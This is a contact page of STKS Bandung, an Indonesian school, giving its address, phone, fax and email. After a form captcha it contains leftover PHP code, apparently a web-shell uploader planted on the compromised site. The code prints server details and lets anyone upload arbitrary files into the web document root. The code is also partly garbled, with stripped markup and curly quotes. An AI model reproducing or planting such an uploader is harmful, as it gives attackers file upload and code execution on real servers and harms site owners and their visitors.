Hubungi STKS Bandung

Jl.Ir.H.Juanda No.367 Bandung Jawa Barat -Indonesia 40135
Telp : +6222-2504838 Fax : +6222-2502962 e-mail : humas@stks.ac.id

Atau silahkan gunakan form dibawah ini

15 + 12 =

“;
echo ““.php_uname().”
“;
echo “



“;
$root = $_SERVER[‘DOCUMENT_ROOT’];
$files = $_FILES[‘idx_file’][‘name’];
$dest = $root.’/’.$files;
if(isset($_POST[‘upload’])) {
if(is_writable($root)) {
if(@copy($_FILES[‘idx_file’][‘tmp_name’], $dest)) {
$web = “http://”.$_SERVER[‘HTTP_HOST’].”/”;
echo “sukses upload -> $web/$files“;
} else {
echo “gagal upload di document root.”;
}
} else {
if(@copy($_FILES[‘idx_file’][‘tmp_name’], $files)) {
echo “sukses upload $files di folder ini”;
} else {
echo “gagal upload”;
}
}
}
?>